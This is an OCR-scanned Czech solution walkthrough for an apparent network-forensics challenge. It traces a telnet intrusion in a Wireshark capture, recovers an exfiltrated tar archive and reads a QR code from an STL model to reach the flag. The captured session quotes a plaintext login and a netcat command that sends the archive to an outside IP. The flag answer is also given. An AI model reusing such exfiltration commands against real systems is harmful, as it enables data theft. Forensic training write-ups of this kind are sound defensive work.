Redent:

1. Dodany soubor pcap otevieme v programu wireshark
2. Najdeme komunikaci mezi stanici 192.168.195.138 aserverem 192.168.195.203

M stolen_dat - m} X 3
AmJ® Qe
[Wtep.stream eq0 EAED -] Expression... | +
Ma. Time Source Destination Protocol  Length Info ~

1 @.eeaeeenae 192.168.195.138 192.168.195.283 TCP 74 38656423 [SYN] Seq=0 .

3 0.808520131 192.168.195.138 192.168.195.283 e 66 38656223 [ACK] Seg=1 ..

4 8.e@1e55863 192.168.195.138 192.168.195.203 TELNET 93 Telnet Data ..

5 @.eele7sead 192.168.195.203 192.168.195.138 e 66 23+38656 [ACK] Seg=1 ..

1@ @.83924997@ 192.168.195.283 192.168.195.138 TELNET 78 Telnet Data ..

11 B.239434148 192.168.195.138 192.168.195.2083 G 66 38656423 [ACK] Seq=28..

12 8.839581825 192.168.195.283 192.168.195.138 TELNET 185 Telnet Data ... bl

Frame 1: 74 bytes on wire (592 bits), 74 bytes captured (592 bits) on interface @

Ethernet II, Src: Vmware_@f:62:b8 (@@:@c:29:87:62:b8), Dst: Vmware_18:29:59 (88:8c:29:18:29:59)
Internet Protocol Version 4, Src: 192.168.195.138, Dst: 192.168.195.283

Transmission Control Protocol, Src Port: 38656, Dst Port: 23, Seq: @, Len: @

N
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@@ 3c 7f 3d 48 B2 48 @6 b2 7 c@ 38 <3 Ba c@ ad
c3 cb 97 82 82 17 b6 be &7 53 88 88 B2 B2 a@ 82
72 1e ff 94 @2 @2 22 @4 @5 b4 84 92 83 2a @@ lc
16 Ge B8 B2 BO B0 @1 @3 B3 87 N R

@ 7 stolen_data || Packets: 238 - Displayed: 157 {56.0%) - Load time: 0:0. 16 H Profile: Default

3. lJe patrné, Ze se jedna o telnet spojeni, obsah komunikace zobrazime pomoci funkce Follow
TCP stream.

‘ Wireshark - Follow TCP Stream (tcp.stream eq 0] - stolen_data - m} x
IIIIIIIIIIIII T N
..... Boovwn eeniiiieea W Polo... .38490,38480. .. .#%.ubuntu:
B...."..DISPLAY.ubuntu:@...... FMEERLEc o ocoocoooocs Ubuntu 16.84.1 LTS

ubuntu login: ccaaddmmaasstteerr
Password: designl23er

Last login: Tue Feb 21 23:12:21 PST 2817 from 192.168.195.138 on pts/18
Welcome to Ubuntu 16.84.1 LTS (GNU/Linux 4.4.8-31-generic xB86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu. com/advantage

242 packages can be updated.
4 updates are security updates.

*** System restart required ***
.]@;cadmaster@ubuntu: ~.cadmasterfubuntu:~% ccdd pprroocjjee cts/

. ]@;cadmaster@ubuntu: ~/projects.cadmaster@ubuntu:~/projects® tar cvf kyber.tar
kyber/*tar cvf kyber.tar kyber/*

kyber/ks-component.stl
. ]@;cadmasterubuntu: ~/projects.cadmasterflubuntu:~/projectst nc -w 3

41,245,245.2 88 <kyber.tarnc -w 3 41.245,245.2 8@ <kyber.tar

. ]@;cadmaster@ubuntu: ~/projects.cadmaster@ubuntu:~/projects$ rm kyber.tarrm
kyber.tar

.]@;cadmaster@ubuntu: ~/projects.cadmasterfubuntu:~/projects$ eexxiitt

logout
w
49 ciient pie(s). 48 server psl 73 twrmE)
Entire conversation (1147 bytes) - Show and save data as |ASCII ¥ | Stream
Find: | [ Findmext |

Filter Out This Stream Print Save as... Back Zaviit Mapovéda




Ze zjisténych udajli je mozné odpovédét na doplnujici otazku — Utocnik se prihlasil jako
cadmaster s heslem designl23er. Dale je moZino zjistit, Ze Utocnik zaarchivoval
slozku projects/kyber/ do souboru kyber. tar. Tento soubor nasledné odeslal na
adresu 41.245.245.2.

Z vyse uvedeného plyne odpovéd na druhou doplnujici otazku — Afrika. Rozsah 41.0.0.0
spravuje AFRINIC a tuto konkrétni adresu lokacni sluzby radi vétsinou do Nigérie (nékteré ale i
do JAR nebo Kamerunu proto je vhodnéjsi odpovéd na urovni kontinentu)

W Free Product Demo | IP2. X

&« C ) | ® www.ip2location.com/demo

£35 Apps  dr Bookmarks blender/cryengine TREND elektro B Brookings - Quality. security RC java
| I
IP Address 412452452
Location I B Nigeria, Lagos. Lagos
Latitude & Longitude 6.453060, 3.395830 (6°27'11"N  3°23'45"E)
ISP Intercellular Nigeria Ltd
Local Time 22 Feb, 2017 11:12 AM (UTC +01:00)
Domain intercellular.com

Na zakladé poznatk( z predchoziho bodu vyhleddame komunikaci mezi 192.168.195.203
a 41.245.245.2, kterd obsahuje soubor odeslany pfikazem nc.

M stolen_data.pcapng — O *

File Edit View Go Capture Analyze Statisti Telephony  Wireless  Tools  Help

LR RE Q&= sz EHaqan
|ﬂ |F-\pp|'-r' a display filter ... <Ctrl-/> '] Expression... +
Mo, Time Source Destination Protocol  Length Info ~
158 69.685585864 192.168.195.283 192.168.195.138 TELNET 68 Telnet Data ...
151 69.685799645 192.168.195.138 192.168.195.283 TCP 66 38656223 [ACK] Seq=26..
152 69.686782697 192.168.195.283 41.245,245.2 TCP 74 52482588 [SYN] Seq=8 ..
153 69.687148322 41.245,245.2 192.168.195.283 TCP 74 88252482 [SYN, ACK] S.
154 69.687155781 192.168.195.283 41.245,245.2 TCP 66 52482+80 [ACK] Seg=1 .. ——
155 69.687238287 192.168.195.283 41.245,245.2 TCP 2114 5248288 [PSH, ACK] S..
156 69.687285723 192.168.195.283 41.245,245.2 TCP 1514 524682+80 [ACK] Seq=26..
157 69.687325812 192.168.195.283 41.245,245.2 TCP 1514 52482-88 [ACK] Seq=34.. hd

Frame 152: 74 bytes on wire (592 bits), 74 bytes captured (592 bits) on interface @

Ethernet II, Src: Vmware_18:29:59 (@@:@c:29:18:29:59), Dst: Vmware_@f:62:b8 (80:8c:29:87:62:b8)
Internet Protocol Version 4, Src: 192.168.195.283, Dst: 41.245.245.2

Transmission Control Protocol, Src Port: 52482, Dst Port: 88, Seq: @, Len: @

g2 @c 29 of 62 b3 @@ @c 29 18 29 59 @8 @@ 45 @@ AP - R A ) -
82 3c b3 45 42 22 42 @5 df @a c@ ad c3 cb 29 f5 CLEEL@. llll)
fS 82 cc b2 @2 52 a9 bb S8 fl1 @@ @2 @2 ee ag@ @2 ceeaPol Paaa
72 12 a3 9a 22 22 22 24 85 b4 B84 82 28 ea @0 42 P ansennas snmnans B

e3 b4 B2 82 22 82 81 @3 83 87 e ..

O i stolen_data Packets: 238 - Displayed: 238 (100.0%:) - Load time: 0:0.8 || Profile: Default



6. Funkci Follow TCP stream zobrazime obsah komunikace, kterd obsahuje pfeneseny soubor a
nasledné ji uloZime do souboru napt. opét kyber . tar pomoci funkce ,Save as”. Je dllezité
uloZit data jako RAW (viz volba ,show and save data as”“).

M Vireshark . Follow TCP Stream (tcp.stream eq 1) - stolen_data - O X
kyber/ks- "
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UTF-8
UTF-16
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Raw r
D 7 stolen_data || Packets: 235 - Displayed: 53 (22.8%) - Load time: 0:0.1
7. Vysledny soubor je archivem .tar, ktery obsahuje hledany soubor:
Civtmpkes.tarbyber', - O hed
Soubor Upra\qr Zobrazeni  Oblibengé  MNastroje  Mapovéda
a
T . i
Pridat Rozbalit  Zkentrolovat Kopirovat  Presuncut Vymazat Infermace

[ Stmphks.tar Er ~

¥ Citmptks.tar kyber\

Mazev Velikest  Komprimovan..,  Zménén Rezim  Uzivatel Skupina Odkaz

8| ks-componentsti | 247134 247296 2017-02-212314 Orwerw-r--  cadmaster cadmaster

< >

vybrano 0 objekt(d)

8. Samotny soubor je 3d model .stl, ktery obsahuje QR kod:

e ~— O y
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Cancel  Import
Model




9. P#imo z modelu kéd pravdépodobné nepljde naskenovat — je mozné udélat screenshot a

nasledné upravit napf. v paintu

AN ] = | Untitled - Paint

e
D ¥ cut B Crop . A @ AN Vel m|m]
cop, & Resize NOCOOD

Fegke ) S i roter & A QPN B0

Tools

Clipboard Image

10. Ddle naskenovat mobilem nebo nékterou z online aplikaci: Spravné feseni je TM-TP-2017

wsm  — O
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QR Code scanner

Scan | Create | About | Contact

or select a file

Choose File | grjpg

product code: TM-TP-2017




